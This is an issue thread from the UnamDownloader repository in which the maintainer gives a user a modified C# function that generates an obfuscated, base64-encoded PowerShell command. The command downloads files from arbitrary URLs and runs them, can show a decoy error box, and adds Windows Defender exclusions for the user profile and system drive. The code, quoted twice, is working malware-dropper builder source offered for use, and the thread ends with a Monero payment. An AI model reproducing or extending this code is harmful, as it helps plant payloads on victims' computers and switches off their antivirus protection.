UnamSanctam/UnamDownloader

About Downloader

samogost opened this issue · 16 comments

Hello Unam! I am quite annoyed about this downloader because it has to wait for larger files to finish downloading before starting to execute. I hope you will update which files have finished downloading and then execute immediately.

Although the first file has downloaded, it cannot be executed because the second file is still downloading.

my file is over 650MB

You can change that in the code so that it executes after every download, normally downloaders don't do that which it why it doesn't.

You can change that in the code so that it executes after every download, normally downloaders don't do that which it why it doesn't.

I'm not good at coding... I can donate to you

You can change that in the code so that it executes after every download, normally downloaders don't do that which it why it doesn't.

Well, I can't fix it... Is it easy to code? Otherwise, I'll spend a month looking for another downloader or forvever :/

You can change that in the code so that it executes after every download, normally downloaders don't do that which it why it doesn't.

hello?...

I can change that for you, it's quite an easy change.

I can change that for you, it's quite an easy change.

Thank you very much!

I can change that for you, it's quite an easy change.

you can also give the code and show me where to put the code

Here it is:
UnamDownloader.zip

I changed this function:

public string CreateCommand()

To this:

public string CreateCommand()
        {
            List<string> downloads = new List<string>();

            int count = listFiles.Items.Count;
            for (int i = 0; i < count; i++)
            {
                File filevar = ((File)listFiles.Items[i]);
                string droplocation = (filevar.comboDropLocation.Text == "Current Directory" ? "($pwd).path" : "$env:" + filevar.comboDropLocation.Text);
                string downloadStr = $"(New-Object System.Net.WebClient).DownloadFile('{filevar.txtDownloadURL.Text.Replace("'", "''")}', <#{RandomString(3, true)}#> (Join-Path <#{RandomString(3, true)}#> -Path {droplocation} <#{RandomString(3, true)}#> -ChildPath '{filevar.txtFilename.Text.Replace("'", "''")}'))<#{RandomString(3, true)}#>";
                if (filevar.toggleExecute.Checked)
                {
                    downloadStr += $";Start-Process -FilePath <#{RandomString(3, true)}#> (Join-Path -Path {droplocation} <#{RandomString(3, true)}#> -ChildPath '{filevar.txtFilename.Text.Replace("'", "''")}')<#{RandomString(3, true)}#>";
                }
                downloads.Add(downloadStr);
            }

            string preCommand = "";
            if (chkError.Checked)
            {
                preCommand += $"<#{RandomString(3, true)}#>Start-Process powershell -WindowStyle Hidden -ArgumentList \"Add-Type -AssemblyName System.Windows.Forms;<#{RandomString(3, true)}#>[System.Windows.Forms.MessageBox]::Show('{txtErrorText.Text.Replace("'", "''").Replace("\"", @"\""""")}','','OK','{(comboErrorType.Text == "Info" ? "Information" : comboErrorType.Text)}')<#{RandomString(3, true)}#>;\";";
            }

            if (chkDelay.Checked)
            {
                preCommand += $"<#{RandomString(3, true)}#>Start-Sleep -Seconds {txtDelay.Text};";
            }

            string defenderCommand = $"<#{RandomString(3, true)}#> Add-MpPreference <#{RandomString(3, true)}#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#{RandomString(3, true)}#> -Force <#{RandomString(3, true)}#>;";
            return "-EncodedCommand \"" + Convert.ToBase64String(Encoding.Unicode.GetBytes(preCommand + (chkWD.Checked ? defenderCommand: "") + string.Join("; ", downloads.ToArray()))) + "\"";
        }

Here it is: UnamDownloader.zip

I changed this function:

public string CreateCommand()

To this:

public string CreateCommand()
        {
            List<string> downloads = new List<string>();

            int count = listFiles.Items.Count;
            for (int i = 0; i < count; i++)
            {
                File filevar = ((File)listFiles.Items[i]);
                string droplocation = (filevar.comboDropLocation.Text == "Current Directory" ? "($pwd).path" : "$env:" + filevar.comboDropLocation.Text);
                string downloadStr = $"(New-Object System.Net.WebClient).DownloadFile('{filevar.txtDownloadURL.Text.Replace("'", "''")}', <#{RandomString(3, true)}#> (Join-Path <#{RandomString(3, true)}#> -Path {droplocation} <#{RandomString(3, true)}#> -ChildPath '{filevar.txtFilename.Text.Replace("'", "''")}'))<#{RandomString(3, true)}#>";
                if (filevar.toggleExecute.Checked)
                {
                    downloadStr += $";Start-Process -FilePath <#{RandomString(3, true)}#> (Join-Path -Path {droplocation} <#{RandomString(3, true)}#> -ChildPath '{filevar.txtFilename.Text.Replace("'", "''")}')<#{RandomString(3, true)}#>";
                }
                downloads.Add(downloadStr);
            }

            string preCommand = "";
            if (chkError.Checked)
            {
                preCommand += $"<#{RandomString(3, true)}#>Start-Process powershell -WindowStyle Hidden -ArgumentList \"Add-Type -AssemblyName System.Windows.Forms;<#{RandomString(3, true)}#>[System.Windows.Forms.MessageBox]::Show('{txtErrorText.Text.Replace("'", "''").Replace("\"", @"\""""")}','','OK','{(comboErrorType.Text == "Info" ? "Information" : comboErrorType.Text)}')<#{RandomString(3, true)}#>;\";";
            }

            if (chkDelay.Checked)
            {
                preCommand += $"<#{RandomString(3, true)}#>Start-Sleep -Seconds {txtDelay.Text};";
            }

            string defenderCommand = $"<#{RandomString(3, true)}#> Add-MpPreference <#{RandomString(3, true)}#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#{RandomString(3, true)}#> -Force <#{RandomString(3, true)}#>;";
            return "-EncodedCommand \"" + Convert.ToBase64String(Encoding.Unicode.GetBytes(preCommand + (chkWD.Checked ? defenderCommand: "") + string.Join("; ", downloads.ToArray()))) + "\"";
        }

thank you again!

No problem.

No problem.

Like I said, "One day I will donate," but I only have 10 $ Xmr. I hope you take it.

Like I said, "One day I will donate," but I only have 10 $ Xmr. I hope you take it.

Thank you, you should only donate if you have some over to spare.

Like I said, "One day I will donate," but I only have 10 $ Xmr. I hope you take it.

Thank you, you should only donate if you have some over to spare.

I just sent you 10$ xmr, have a nice day!

I just sent you 10$ xmr, have a nice day!

Thank you very much, hope you have a nice day too. And good luck with whatever you're using the downloader for.